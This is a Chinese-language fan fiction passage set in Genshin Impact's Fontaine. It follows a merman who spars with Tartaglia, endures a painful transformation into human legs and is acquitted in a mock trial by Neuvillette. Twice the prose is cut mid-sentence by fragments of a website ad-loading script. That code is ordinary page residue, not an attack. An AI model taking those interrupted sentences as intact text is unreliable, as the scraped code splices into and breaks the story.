黎翡区有不少愚人众先遣队驻扎,也许是【仆人】约束的缘故,静原之前看了许多回,也没见他们跟人起争执,就是在这边正常驻扎生活,也就放过不提。今天看见几个役人跟在达达利亚身后,到有些惊讶,瞥见对方苍白脸色和役人手中的药箱,了然:“伤还没好吗?” “我感觉都好得差不多了,但是阿蕾奇诺派来的医生说需要多养一段时间……小题大做,之前也不是没有受过更严重的伤。”达达利亚无奈耸肩,“你看,这就是她派来跟着我的。” “看来你们关系很好。”愚人众执行官这么互相关爱的吗?感觉不对劲啊。 达达利亚表示否定:“并没有……算了,不跟你讲这些不高兴的话题。我们去哪里切磋?你不能上岸,那我们去有水的地方吧。” “你确定要跟一条人鱼在水里打架吗?” “当然了,我可是勇往直前,挑战一切强敌的达达利亚。你就放心吧,放开了跟我打!没问题的!”为了证明自己,他把胸膛锤得砰砰响,跟在后面的两个役人额头似乎滑下了一滴冷汗。 最终选在枫丹廷外的浅海区,达达利亚按照静原的指示踩上水色的长台。 “这是古代遗留下的机关,完成试炼后,水色长台会一直在这里。接触就能显形。”这是静原之前发现的机关,宝箱拉走藏海底了,水色长台倒是一直在这。 达达利亚在上面踩来踩去蹦跳着:“不错不错,很结实。” 役人被他赶去其他地方旁观,不许靠太近。达达利亚捏着双刃迫不及待:“那我们什么时候开始?” “让我们先来做个小约定。” 静原捏着那柄法杖说:“你不启动那天的铠甲,我也不会驱使流水对你造成伤害,如何?” “没问题,友好切磋嘛!” “既然是切磋,那我只会用这柄法杖跟你打。”静原微笑,“利爪、尖牙和尾巴是用来对付敌人的武器,我想你不需要这些。” 达达利亚开始觉得这个好兄弟有点啰嗦了。 “势如狂澜!” “一箭止水!” “逃的掉吗!” “破绽,稍纵即逝!” “忍着点,这可是很痛的!”* 相比较达达利亚的昂扬向上和满场乱窜,静原拿着法杖硬是用出了长枪的感觉,以守待攻,就像在花园中漫步一般。 “不用为这种程度的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 攻击提醒我。” 他先是提醒了这一句,很快意识到这就像打扑克打出王炸前必须高喊一句的情况,笑了笑,手腕一转,法杖挡下了一次攻击。 “你怎么不说话?” “因为我要专心应对你的每一次攻击。”静原笑,“难道你希望我说一些垃圾话活跃一下气氛吗?” “那还是算了吧……看招!!” 水刃与骨杖相撞,发出沉闷的声响。静原明明半身都在海中,注视着达达利亚无光的蓝眼睛,竟然会让对方感受到被俯视的错觉。 “我这样其实是有些欺负人的。”静原单臂施加压力,面上微笑不变,“就算是身经百炼的勇者与战士,面对深海怪物,尤其是泡在水中的怪物,也难以讨得了好。” 哪怕不驱动海的力量,只拼身体素质,人类战士与千年海怪之间的差距也难以用武艺来弥补。 一直单手持法杖的静原将另一只手也抬起来握紧,然后往下压。 这个距离,达达利亚能够看见对方眼底的笑意。 “现在,攻守易形了。” 最后格蕾丝蒂来黎翡区接叔叔回家吃晚饭的时候,看见叔叔正在摸摸头安慰垂头丧气(?)的青年。 “这次是我草率,下一次绝对会打败你。你也一定要使出全力!” 小年轻斗志昂扬,似乎燃烧着熊熊火焰,格蕾丝蒂疑惑歪头,然后蹦蹦跳跳走近:“卡吕普迪斯大人,我们回家吃晚餐吧。瑟琳姐姐炖了汤哦。” 被役人摁着上药的达达利亚看见格蕾丝蒂,有些惊讶:“这就是那天的小姑娘吧,真可爱。要不要吃小零食?我带了糖果哦。” 静原摸摸走到海边的小美露莘柔软发顶,默许她接下零食糖果:“我该回去了,下次再见。” “好,等我养好了伤,咱们再好好切磋一次。” 静原心情不错,背上格蕾丝蒂就朝着厄里那斯方向游去。格蕾丝蒂含着糖块趴在他肩上:“对了,卡吕普迪斯大人,今年的千灵映影节又要开始了,好些导演已经在联系我了,希望邀请您出镜……” 静原:“和以前一样,都拒绝了吧。”他真的对假扮美人鱼没有任何兴趣。 格蕾丝蒂点点头:“节日那几天,我打算和托皮娅、艾伊丝一起去枫丹廷玩。和梅莘她们约定好了,今年一定要吃到露泽咖啡厅限量发售的千灵慕斯蛋糕!” 小美露莘握爪,势在必得。静原突然想起来前些年她们几个小朋友因为各种事情耽误行程,着急忙慌赶去枫丹廷的时候,美味的小蛋糕早就发售完了。枫丹廷城内就职于逐影庭的美露莘们又有工作在身,大家都对小小的美味蛋糕魂牵梦萦——静原连连点头:“提前几天住在枫丹廷内也好。我记得露泽咖啡厅距离菲米尼他们住的布法蒂公馆很近,可以的话,顺便帮琳妮特他们也带一些吧。” 他记得琳妮特很喜欢甜品来着。 格蕾丝蒂自然点头,作为生活了几百年的美露莘,她对于人类小朋友也多有关照,就算静原不说,她这次去枫丹廷内购物也会记得去见一见林尼三兄妹的。 家里的孩子们都要去过节,静原想了想,决定去沉玉谷找老朋友玩。 47.变身!打螺丝? 千灵映影节,严格来说,应该被拆分为【千灵节】和【映影节】。 千灵节是为了纪念传说中寻找纯水精灵、迎回了水神厄歌莉娅的纯水骑士而设立的节日。这个日子和枫丹的成立、以及其特有的【律法】与【审判】息息相关,也是枫丹最重要的节日之一。 人们为了纪念纯水骑士,会效仿他们的样子,穿上特殊的衣装、手举金杯、挨家挨户向人们讨要纯水。现在它更像一个狂欢节,孩子们倒是挺喜欢,因为习俗更改为讨要甜品,每年都能听到有人对其他人说“不给糖就审判”!* 说实话,对于亲历了那个时代,甚至比那维莱特更加了解当时情况的静原来说,骑士开门讨要纯水这件事对当时的人而言其实是有点惊悚的。不过时过境迁,变成了节日习俗倒也没必要深究。 至于映影节,则是近百年伴随着枫丹科技兴起的一种节日,不知道啥时候两个节日合并,而千灵节习俗被改成讨要甜点之后,蓝盈盈的千灵慕斯横空出世成为了最受欢迎的甜品。小美露莘们喜欢蓝色和紫色,一块小小的甜品简直是让她们魂牵梦萦。静原尝试复刻过,可惜总是失败——他并不擅长制作甜品,那维莱特更不用提。 想起这些,静原摇摇头,打包了点枫丹特产,在千灵节前一天就去了沉玉谷找福勒依斯玩。 谁知道到了地方,正好撞见福勒依斯收拾行李。 “咦?” “怎么回事?” “我正打算去找你呢。听说枫丹有千灵节,这次还要评选优秀映影,我也想去看。”福勒依斯先发制人,“卡吕普迪斯,你陪我吧。” “陪你没问题,不过等明天吧。”静原把行李放到石桌上,给自己倒了杯茶水,“大老远跑来,你好歹让我休息休息。” “那我们明天走?哦哦哦,还得买些特产带过去给你和小侄女们。”福勒依斯开始翻箱倒柜,“我最近淘了些玉石,成色特别好,做成小挂坠小首饰送给美露莘们最合适了。还有今年的新茶,虽然品质没有前些年那么好,不过煮茶叶蛋或者奶茶倒也不错……” “给你带了点好吃的。”静原打了个哈欠,“你先忙,我去睡一会。不知道为什么,最近总犯困。” “你又熬夜巡逻了?” “前阵子守着亡灵转生,好几天没合眼……” “你又不爱惜自己身体……” 福勒依斯正念叨着,发现没动静后一转身,人鱼在她的水下洞府里睡得正香,蓝色尾巴轻晃,乳白尾鳍显得极其无害。 纯水精灵叹了口气,轻轻离开洞府,到小水潭上面忙活了。 变故发生在进入枫丹后。 本来福勒依斯提着特产和静原并肩赶路,边走边笑着说话,只是一个错眼,身边人鱼陡然“嗷——”的一声降了个身位,像是被什么猛兽从海下袭击,抓住尾巴咻的一下消失了似的。 “卡吕普迪斯!”福勒依斯瞬间把特产丢到脑后,急急潜入海下观察,一时冲昏了头脑忘记她老朋友就是枫丹海最大最凶恶的霸主,根本没人敢欺负他。 “卡吕普迪斯!你怎么了!别吓我啊你这家伙!” 福勒依斯看见人鱼以一种极其痛苦的姿势蜷缩着,抱着他几乎对折的尾巴——“你你你!你尾巴骨折了?怎么对折了我的天啊!” 正常来说,人鱼是无法伸手把尾巴抱起来的。他的脊骨很长,几乎是一整根长长的的脊骨连通了两个半身。哪怕是坐着,尾巴都是自然的弯曲垂下,上身必须往后仰,好让两个半身的折叠不至于太过接近垂直。 而现在,他人身和鱼尾对折,尾巴又像人类膝盖那样屈起来,在福勒依斯眼里无异于骨折。 事实上痛苦程度远高于骨折。 静原没想到变故来得这样快这样突然,一点防备都没有,剧痛袭来时,嗷的一嗓子根本夹不住。现在哆哆嗦嗦抱着他的尾巴哭,眼泪珠子浮在身边——哭得特别伤心。 这回是痛哭了的,静原被福勒依斯抱着哄着也没能缓解疼痛,他那条漂亮的,如同蔚蓝晴空的尾巴开始渗出丝丝缕缕的血来,鳞片都润透了,开始松动。 “我好像听到骨骼错位的声音了。”人鱼抽抽搭搭吸鼻子,“完蛋了,福勒依斯,下次再见就是一百年后了。” 福勒依斯还没搞懂情况:“怎么就一百年后再见了?” 静原哭得更伤心:“我要被那维莱特抓去送进梅洛彼得堡打螺丝了!” 他这话一说出口,下半身就像是鱼被利刃从中间剖开一分为二了似的,蓝色长裤包裹着双腿,而静原疼得像是乱扭的海鳗海蛇,滑不溜秋,福勒依斯根本抓不住。 最后幻化成人形的福勒依斯把痛晕过去的静原抗在肩上,火急火燎的去湖中垂柳老家,请龙蜥通知静原家老大来检查。 福勒依斯离开枫丹的时候,美露莘们还没诞生。她只从静原口述中了解过这些可爱的小生命,却从来没见过,想来想去,只能请龙蜥帮忙。 幸而龙蜥中有认得她气息的,听见福勒依斯小嘴叭叭“找那维莱特”“美露莘”“卡吕普迪斯有危险”后,不知道思考了些什么东西,郑重的点点头,一甩尾巴扬长而去。 福勒依斯只能希望龙蜥能将她的意思传达给那维莱特,毕竟卡吕普迪斯这种忍耐力强的生物都疼晕过去,尾巴一分为二成腿的情况实在是让她不知道怎么办才好。 而正在伊黎耶林岛外围探索大世界的金发旅行者突然见到了一只奇怪的美露莘。 派蒙惊喜道:“呀!是珀西芙!*珀西芙,你来找我们玩吗?” 珀西芙对他们招招手,连连比划:“鱼鱼,美露莘,美露莘!那位来客,珀西芙!” 旅行者缓了半天,看向派蒙:“你翻译吧。” “好、好吧。翻译也是向导的责任……珀西芙你的意思是,鱼不好了,要我们去找其他人帮忙吗?” “珀西芙,珀西芙!”她高兴得触角都动了动,“那位来客!珀西芙!” 因为之前一同冒险解决了湖中垂柳污染的问题,派蒙也算是勉强理解了词汇量极为浅薄的珀西芙一般用“美露莘”表达否定和消极意义,用“珀西芙”表达正确和积极意义。 而鱼鱼需要她用两个“美露莘”来形容的话,要么就是很坏很坏,要么就是处境很危险很危险。 派蒙直觉是后一种,而且得到了证实。 问题在于……“那位来客是谁啊啊啊啊!” 珀西芙急了:“鱼鱼!那位来客!鱼鱼!美露莘!” 怎么就不懂呢? 珀西芙也很着急。 “等会等会……我有点糊涂了……”派蒙扶住额头,“要不你直接带我们去吧,就像之前那样。” 难道是哪里又有污染了吗? 这回,这只粉紫色竖瞳美露莘倒是很快理解了,一溜烟跑没了影。幸亏旅行者周游诸国,腿脚很好使,拽上派蒙就往前冲。 哪怕不看珀西芙专为他们搜集的宝箱,单是朋友求助,旅行者也会热情搭把手的(旅行者:我没法不看,你知道宝箱对我多重要吗?)。 当他们赶到的时候,就看见在那棵巨大海蓝色垂柳下,湖中心小岛的位置,蓝色头发的女性抱着瘫软的蓝发青年,不断擦拭他下身涌出的血液,而珀西芙在旁边急得直打转。看见他们来就喊:“鱼鱼!美露莘!” 旅行者站在岸边用元素视野查看了一会,发现那两个都是水元素生物,心里有了底。和派蒙游过去查看情况,蓝发女子将那个昏迷过去的蓝发青年护在怀中,见珀西芙与他们相识,很有些惊讶:“他们能通知那维莱特吗?” 珀西芙:“珀西芙!鱼鱼!” 福勒依斯仰头看向眼前的金发少年,手中未曾停下擦拭和治疗的动作:“你好,我是纯水精灵福勒依斯。这是我的朋友,他受伤了。珀西芙说你们可以通知那维莱特,我可以将希望寄托在你们身上吗?” 派蒙恍然大悟:“原来那位来客就是那维莱特!” 旅行者颔首:“我的确可以找到那维莱特,但要如何说明情况?” 福勒依斯低下头去,抚摸静原苍白的脸,擦去他额头上的冷汗:“就说卡吕普迪斯遭遇不测。如果你们可以做到,我愿意支付你们想要的报酬,价格好说。” “原来,是卡吕普迪斯……”旅行者思考着,他刚进入枫丹时就听说过人鱼卡吕普迪斯的事迹,据说对方一直照顾着龙蜥,美露莘,鲸群三大龙裔。这样也能解释珀西芙的紧张和焦虑……“没问题,这个委托我们接下了。不过这样干等着也不是办法,不如我们直接带他去枫丹廷?” 福勒依斯摇头:“他很痛,搬运的每一秒都会让他骨骼和血肉被挤压。如果你仔细看,能发现他下半身的皮肤一直在渗血。” “卡吕普迪斯很怕痛,我宁可用水元素维系他的生机,也不想他的疼痛人为加剧。抱歉,但我仍然感谢你的好意,金发的旅人。” 福勒依斯听说过大名鼎鼎的旅行者的事迹,知晓他是冒险家,愿意用委托的形式去信任他。 和派蒙通过传送锚点快速前往枫丹廷的旅行者和派蒙神情有些唏嘘。 派蒙摇摇头:“你说人鱼是怎么拥有人类双腿的呢?难道是被诅咒了?我从来没见过这样的场景。” “不好说。”旅行者叹气,“双腿上每一个毛孔都在渗血,每一寸骨骼都在被碾压,就像是在受刑一样……” 他突然噤声。 派蒙还在疑惑他怎么不继续说了,看见沫芒宫大门,便急冲冲往里赶。幸好她记得办公场所不应高声喧哗,是在进入那维莱特办公室后才压低嗓子尖叫的。 “不好啦,那维莱特!鱼命关天啊!” 那维莱特放下手中公务:“怎么了,派蒙?” “卡吕普迪斯变成人类了,下半身全是血!” 那维莱特表情一变,可惜没人发现。 旅行者接过话茬:“是一个自称福勒依斯的纯水精灵委托我们来找你帮忙的。显然她也不知道这种情况是怎么回事。” 那维莱特对静原的交友圈一直都很了解,听见福勒依斯的名字就知道这事是真的突发紧急,马上交代好塞德娜他有事外出,就拉上旅行者急匆匆往外赶,大步流星,上次见他这样还是枫丹洪水预言降临的时候。 派蒙捂着小皇冠在后面狂追:“慢一点慢一点!我要跟不上了!” 那边,湖中垂柳下的静原已经痛醒过来:“我感觉,血有点止不住了……” “别瞎说,会好的。”福勒依斯不许他乌鸦嘴,静原趁着没有外人,哭哭唧唧:“早知道就不强行压制这股冲动了,只是离开枫丹再回来,就压不住了,直接把我剖两半……完了,应该变不回来。” “骨头都错位了!”福勒依斯呜咽一声,“你这是招惹啥玩意了啊!我根本没法治疗!” 静原颤颤巍巍伸出手,摸摸一旁焦虑的珀西芙:“好孩子,没白疼你。我在伊黎耶东南的水下给你养了很多汐藻,以后不愁吃了啊,乖……” “福勒依斯,我跟你说我的水下藏宝洞在哪里,我进去了以后,财产都归你保管,每年记得给我家孩子发零花钱就行……” 福勒依斯崩溃:“你不要搞得这么恐怖,像交代遗言一样啊!谁稀罕你的钱!” 静原也很崩溃:“我也没办法啊,马上就要进去打螺丝了,趁我还清醒给你们交代好啊。” “别惦记你那破螺丝了!” 那维莱特赶到时就听见福勒依斯喊:“那维莱特马上就到,你会没事的!” “呜呜呜——”这是卡吕普迪斯被疼哭的死动静。 那维莱特跑到静原身边查看他的伤势,撩起裤腿捏住脚腕,疼得静原又尖锐的嗷起来,忍不住屈膝抬腿往后退,然后疼到失音。 福勒依斯心疼,忍不住道:“你轻点,卡吕普迪斯怕疼。” 珀西芙紧张:“珀西芙珀西芙!” 派蒙捂住眼睛:“好多血……” 旅行者也被感染得焦虑,搓搓手站在一旁静观。只见那维莱特按 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了按卡吕普迪斯的小腿,脚腕,只是轻轻一扫过,指尖便蹭上粘稠的血珠,很快那一小块白净皮肤又渗出血来。 “下半身完全被改造了,所有鳞片全部剥落,这简直就是酷刑……”那维莱特面色凝重,他想起卡吕普迪斯之前同他旁敲侧击过的话题,忍不住询问,“你之前便有预感吗?卡吕普迪斯。” 这就是指静原是不是看到过这样的未来。 静原当然是肯定回答,并且描述了一番:“从原始胎海回来后,力量增强了,身体上的变化也在逐渐积累,我有点……有点害怕,就一直压抑。谁知道今天压不住,尖锐的爆发了。” 太突然了,谁知道他游得好好的下身一阵剧痛给他干懵了。 在场都不是外人,那维莱特叹息一声:“只能用权柄了。” “等等等等——”静原紧急叫停,“先别用那个,我感觉我还能抢救一下!” 那维莱特要是真用古龙大权了,那他真的没法变回人鱼的模样了! 旅行者听得云里雾里,就看见人鱼被福勒依斯抱着送下水,在强烈求生欲的冲击下,哪怕疼得浑身都在哆嗦也努力蹬腿,福勒依斯只能变回纯水精灵拖着他的双手,以免他失力沉入水底。 这时不知从哪里冒出来一头深海龙蜥,也下了水围绕在静原身边,顶着他的腰帮忙卸一部分力气。。 就像之前有预感自己可以拥有双腿走路那样,他现在也有预感自己是可以变回来的。只是太痛了,骨骼硬生生被拉伸变形挤压的疼痛,血肉撕裂然后又黏在一起的凝滞感,以及薄薄皮肤上重新长出鳞片的生长痛都让他恨不得闭眼真的死掉。 可是不能死。他想活着。他想好好的活着。 那维莱特看着眷属从勉强有个人形到变成血色的人,湖水都染上大面积的红。怔愣着,好半天才颤抖的伸出手,将对方抱起来。 纯水精灵擦去眼泪,顾不得身上血污:“那维莱特,你知道他这是怎么了吗?太突然了……” 旁观了一场蜕变的旅行者也忍不住去看这位水龙王,那维莱特抱着昏死过去的,与他相伴千年的手足,停顿许久才说了一句:“这是源海的赐福,也是一场试炼。” 源海赐福他,从此他将拥有人类的形体,可以自由的在人类与人鱼两个形态切换,从此海洋与陆地都将成为他的乐土,哪怕是未来的天空,努努力踮起脚,也未尝不可触碰。 但这也是一种试炼,必须以鲜血和疼痛作为铺垫,才能让所有渴求人类形体的水族知晓化形的不易。毫无取舍得到的东西总是那么不被珍惜,这个道理很浅显易懂,不是吗? 还有一种因素,就是作为曾经容纳厄歌莉娅的原始胎海,也知晓那条古老的律法。祂赞同这条律法,却也想要满足孩子内心深处的小小渴求。 因为不会再有一次洪水一次审判,不会再有一个水龙王去赦免全体枫丹人的罪了。所以无论做出什么选择都要自己承担后果。 如果静原在感受到这种蜕变的那天就直接接受,反而没有今天这样疼,起码不会碰都不能碰。压抑久了,反弹带来的苦果也只能自己含泪吞下。 幸好静原是个敢作敢当能自己直面错误的鱼,他仍然认同自己的人鱼身份,选择忍受痛苦将形体改回来,也因此,他将被宽恕。 因为他可以完全靠自己主动变回来,这种变化可以被归类于纯水精灵幻形之类的种族天赋。 静原扯出笑容,在二者的心照不宣之下为自己辩护:“谁说人鱼不能拥有和纯水精灵类似的天赋呢?” 枫丹最高审判官坐在海沫村的石台上,两边都是紧张到屏住呼吸的美露莘们,下方水池中泡着半死不活的人鱼。 场面严肃,气氛堪比等待审判结果的欧庇克莱歌剧院。 “卡吕普迪斯,枫丹特有物种,提瓦特有且仅有的一条人鱼。因改变形态为人类,涉嫌触犯了枫丹古老律法第一条:禁止将任何物种转变为人类的行为。考虑到人鱼天赋的特殊性,以及目前已经变为人鱼形态,该过程可逆转。根据《枫丹特有物种保护法》第三十一条:尊重水族幻形天赋,任何非恶意的,且可逆转的转换都应被理解和支持。在次宣判,人鱼卡吕普迪斯无罪。” 海沫村里响起热烈的掌声。观众席上的派蒙和旅行者热泪盈眶,福勒依斯一脸懵逼。 “所以,如果静原变不回来,他是真的要被那维莱特大义灭亲送进梅洛彼得堡,是吗?”福勒依斯震惊,“这么狠?” 旅行者为那维莱特辩护:“他当了五百年的最高审判官,就是因为无懈可击的公正无私。哪怕是卡吕普迪斯犯错,也要接受律法的审判。” 他现在明白在湖中垂柳发生的对话意味着什么了。 那维莱特作为龙王,不忍心看到眷属遭受如此痛苦。提出用古龙大权帮眷属稳定形体,祛除痛苦。如果对方接受,那么变为人的痛苦将消失,但也必须接受转变成为人类的惩罚。因为他是水龙王的同时,也是枫丹的最高审判官。他认可枫丹的律法以及对正义的诠释。 卡吕普迪斯理解并赞同这种理念,所以拒绝了,他选择熬过新一轮痛苦的转变,再次成为人鱼。他为自己辩护,也因此擦着梅洛彼得堡大门而过。 静原瘫在水池里:“太好了,不用去打螺丝了。” 他还是那个身世清白的好鱼,再也不用操心孩子们政审过不去了……(???) (这就是你执着于拒绝打螺丝的理由吗) 静原安详闭眼。 而福勒依斯打破旅行者等人对纯水精灵安静贤淑的内敛刻板印象,冲上前去掐着静原的脖子上下摇晃,咆哮着如同翻滚的汹涌海浪。 “你这笨蛋!再因为这种理由忍痛我就把你打进梅洛彼得堡!!!” 那维莱特幽幽表示:“福勒依斯女士,枫丹私斗严重者也要进入梅洛彼得堡服刑……” “我跟他一起去,看着他打螺丝!!” 福勒依斯:这什么破鱼! 静原:我错了我错了T▽T 48.轮椅上的鱼 海沫村内小型法庭审判已然落幕,那维莱特看着静原苍白的脸色,目光柔和且怜惜:“我送你回去休息。” 他检查过静原如今的身体,幸运的是并没有明显外伤,之前的蓝色裤子就是他带着鳞片的那一层皮肤,重新贴在身体上严丝合缝,除了过程中痛得静原打滚,没有毛病。 静原今天失血有点过多,但是心里的石头落了下来,被那维莱特打横抱起来送到厄里那斯外的海域深处修养,福勒依斯全程陪同,而因为格蕾丝蒂她们几个不在,海沫村里认识旅行者和派蒙的美露莘门热情的招待了金发的旅者。 旅行者向她们打听了一会珀西芙——在湖中垂柳的时候对方就莫名其妙不见了,那头突然出现的龙蜥也在静原离开后消失。 美露莘中的大姐姐瑟琳歪着头,听完旅行者的诉说,明确表达:“没有叫珀西芙的美露莘哦。” 派蒙试图解释:“她是流落在外的美露莘……” 瑟琳摇头:“我,那维莱特大人,以及卡吕普迪斯大人,我们三位都知晓每一位从厄里那斯诞生的美露莘的去处。几百年来,都没有叫珀西芙的美露莘诞生哦。” 瑟琳说:“伊黎耶林岛是龙蜥的居所,如果那里有流落在外的美露莘,那维莱特大人和卡吕普迪斯大人不会不知道。而她们没告诉我们这些,只有一种可能。” 瑟琳叹气,看向派蒙和旅行者的目光带上一丝同情:“那个叫珀西芙的美露莘,不是美露莘。” “是深海龙蜥哦。” 旅行者和派蒙石化了。 不知晓自己掉马的某只深海龙蜥甩着尾巴清理水体,决定去给金色和白色的两个朋友找更多的宝箱和亮闪闪石头。 而那边,海洋中温暖的浅水区,静原躺在自己那张粉红贝壳床里休息,几只海獭轻轻游过来钻进他怀里充当抱枕。 那维莱特摸摸孩子冰凉的额头,分给他更多的力量,让这小子更加皮实耐造了。确定静原睡得很踏实后,才跟福勒依斯到远处商量今天这种突发状况。 “源海赐福这么草率又荒诞的吗?为什么会有这么痛?”福勒依斯不理解,“他最怕痛了,作为创造他的源海不会不知道。” “我理解你的愤懑,福勒依斯女士。我也同样的,感到愤怒。”那维莱特抚上胸口,“卡吕普迪斯一直以来都是坚强而勇敢的好孩子,我从未想过他会害怕被审判。这是我的错误。没有关注到他被源海赐福的方向,这是我的失职……” 福勒依斯扶额:“行了别说这些,这些不重要,他也不会在意的。关键问题在于,他以后变成人类还会像今天这样痛吗?” “依旧痛苦,但不至于像今天这样猛烈而尖锐。卡吕普迪斯告诉我,他早就预感到变化的可能,却一直压抑,才导致猛烈爆发。如果后续他主动选择转变,并不会到今天这种程度。” “还是痛啊……” “我也思考过为什么源海赐福在他身上体现出来的结果是这种,通常来说,源海赐福都是赋予水元素相关的力量和能力……就算用幻形天赋来解释,也说不通。因为纯水精灵幻化万物并不会感到疼痛。” 那维莱特叹气:“也许有什么我不知晓的内情发生了吧*。” 他失落又自责,发尾两根蓝色触角都显得黯淡。 福勒依斯吐槽:“你们俩真是……” 绝了。和卡吕普迪斯当年一个样。 静原醒来的时候,那维莱特已经回枫丹廷处理公务了,最高审判官工作真的很忙,很难抽出时间来。 福勒依斯躺在另一张贝壳床上呼呼大睡,静原把她摇醒:“走,今天千灵节,我们去枫丹廷玩。” “你好利索了吗就去玩?”福勒依斯擦擦眼睛,看静原在床上扭了扭,咕涌着将尾巴变成了腿。 “要死啊你!”福勒依斯恨不得一巴掌拍死他,“才好就又作死!” “哎哟别打别打,这回能忍。”静原熬过去痛,明显感受到没有昨天那么尖锐得像是被刀子刺穿的感觉了。就是现在脚有点麻,“你扶着我一会,让我练练怎么走路。” 忘得一干二净了。 福勒依斯扶着他在海底柔软的青色藻床上缓慢行走,重甲蟹和海獭细心的把海床上的贝类沙砾石块清理干净,看着那只白皙的人类的脚踩在上面,歪歪扭扭的蹭过去。 海獭们揣着手围在一旁,重甲蟹眨巴着大眼睛,很好奇为什么海怪鱼鱼变成了两脚兽的模样。 “你使点劲啊。” “我想使劲,多出来一条腿骨这不是还没适应嘛——哎哟哎哟脚麻了。” “果然是伤到脊椎了。我把着你的腰,再试试。” “痒痒痒!” 一通折腾,最后两个人都累瘫了,趴在海床上吐泡泡。 福勒依斯扭头看着静原:“为什么这么痛,你还是要变成人类。” “因为我要去更多地方。”静原的蓝眼睛闪烁着奇妙的光彩。 因为我知晓未来的战场并不在海上,我知晓提瓦特的风景多么美丽绚烂,我想要守护那些大地上的生命。 因为我渴求一双人类的腿,我知晓拥有这些要付出什么样的代价。熬过痛苦之后,这样的转变就是值得的。 生来便拥有幻形天赋的福勒依斯难以理解他的想法,她仿佛在他身上看到了古老年代里同族向厄歌莉娅祈求拥有人类身躯的模样,但又有哪里不一样。 当年的纯水精灵因为这种渴求遭受了天空的诅咒,直到前不久才被水龙王赦免罪过。而卡吕普迪斯已经支付了代价,即便痛苦,未来也无人能宣判他有罪。 她只是叹气,隐约感受到卡吕普迪斯身上的源海赐福并不简单。 等静原好不容易能够支棱起来走两步,福勒依斯扛着他到岸上:“已经变成这样就缓几天再变回去吧,我找张凳子给你坐一会……” 被脑袋朝后扛起来的静原试图跟她商量:“你不觉得这个姿势有损你淑女的气质吗?放我下来我感觉可以自己走……” 几只美露莘推着轮椅走到枫丹廷外海滩上的时候,正好见到蓝发女子扛着她们家脆皮鱼叔叔的模样。 静原:福勒依斯是一位魁梧女子。 格蕾丝蒂想去摸摸脆皮鱼叔叔的脚,还是忍住了,她记得那维莱特大人说过很痛:“您好,我是格蕾丝蒂。这是那维莱特大人加急定做的轮椅,说卡吕普迪斯大人用得上。我们正打算送到厄里那斯那边呢。” 已经知道美露莘长啥样的福勒依斯认出了这些小姑娘的来意:“那太好了,不用送到那。卡吕普迪斯又变成人了,现在就能用上。” 于是静原被扶着坐上轮椅,膝盖上还搭着绒绒的毯子保暖:“格蕾丝蒂,托皮娅,艾伊丝,你们不是在枫丹廷住着过节吗?” “塞德娜已经把那维莱特大人匆匆离开又回来消息告诉我们了,然后大家就都知道卡吕普迪斯大人身上发生了什么。”托皮娅叹气,“哪里还有心情玩呢?大家都很想确认您的情况。” 艾伊丝蹲下来看静原的脚:“这是之前尾鳍的部分吗?” “我想是的……好了格蕾丝蒂,我真的没事了,就当时痛一会。”静原抱抱自家小姑娘们,“想开些,以后我就能陪着你们一起在岸上走了。” “我们一点也不希望您疼痛。以前是眼睛,现在是尾巴,下一次是什么呢?”格蕾丝蒂叹气,“真的很让人担心啊。” 福勒依斯频频点头:“听到没有,别频繁转化形体了,这几天我不回沉玉谷,就在这陪着你。” 静原失笑。 被美露莘们围着嘘寒问暖过后,福勒依斯当仁不让接过推轮椅的重任,静原笑着送小姑娘们离开,然后和福勒依斯两个人逛街。 本来格蕾丝蒂是不愿意走的,静原说希望她们享受节日氛围,又给每个孩子都发了零花钱,这才能够目送她们离开。 “她们期待这次节日很久了。”静原轻轻道,“快快乐乐过节才是孩子的日常,哪里需要她们围着我打转呢?” 福勒依斯点头:“我理解……好了,既然你没事,就陪我逛街吧。我还没有来过枫丹廷呢。” “那等会买份地图,枫丹廷太大了……哦,我还想买顶帽子,这张脸对人类来说算不得陌生,被认出来多少有点小麻烦。” “那边有报刊……枫丹廷地图怎么这么花里胡哨,我看看啊,服饰店在哪……千织屋?你去过吗?我刚刚在杂志封面看到千织屋这三个字了。” “听上去像是稻妻那边的取名风格。”静原看了看自己没有穿鞋袜的脚,“福勒依斯女士,我申请再买双拖鞋。” “摩拉够吗?我这次来只带了二十万摩拉。枫丹物价好高,感觉有点悬。” “你那点钱收着吧,等会我去枫丹银行取钱,那边存了我将近五百年的工资,都没用过……账户次优先绑定给你,反正也没人用。”那维莱特不需要,美露莘们又只肯接受零花钱和红包。很长一段时间里静原有钱都花不出去。 而福勒依斯再一次为静原的财大气粗震惊。 “我要仇富了。” 千织屋没有开门营业,通过旁边店铺的侍者了解到千织屋一般接受成衣定制后,静原和福勒依斯这俩感觉品牌定位距离自己太遥远,绕头去其他成衣铺子买了帽子和拖鞋。 静原踩着毛茸茸的拖鞋,膝盖上搭着毯子,又戴上白软布蓝丝带的花边帽子,加上长发及腰,乍一看还以为是哪家不良于行的淑女。 毕竟他的长发和脸部轮廓都很具有欺骗性。只要不张嘴,基本上没外人能一眼认出他是个男性。 特意买的女士帽子的福勒依斯推着他走到咖啡厅外,下单咖啡和甜品后陪静原一起坐着等。 静原还在埋头研究枫丹廷地图:“银行选址怎么这么偏,等会得绕一段路过去。啊,我看好几家餐厅都卖千灵慕斯,订一批送到厄里那斯好了,海沫村的小姑娘们也喜欢甜食。” 他声音压得比较低,福勒依斯要凑近一点才能听清:“路上听人说要评选映影节最优映影……映影和璃月的皮影戏是不是很像?” 静原想了想:“要比那个更复杂一点,感兴趣的话到时候去现场看看。啊,蛋糕来了。” 侍者微笑着送上餐品:“请您慢用,保证每一口都像美露莘的笑容一样甜。” 静原:“谢谢。” 侍者:“……?” 看着侍者游魂一般离开的背影,福勒依斯窃窃偷笑,静原不明所以往嘴里塞了一勺致水神。 笑什么?我说话也没口音啊。 在露泽咖啡厅订购了几十份千灵慕斯后,俩人对着薄薄的地图册子研究了半天,东拐西扭,终于找到了枫丹银行所在的地方。静原要取钱,还是取存了五百年工资的账户里的钱,惊动了一大批职员围观,按要求得弄一长串证明自己身份的活动,不过幸好在银行工作的美露莘和一些职员认得他的脸,对静原坐在轮椅上的模样相当惊讶,却也明智的没有多问。 一路大开绿灯,火速办完了相关手续。拿着新鲜出炉的副卡证明的福勒依斯摸了又摸:“咱也是凭本事过上吃喝不愁的好日子了。” 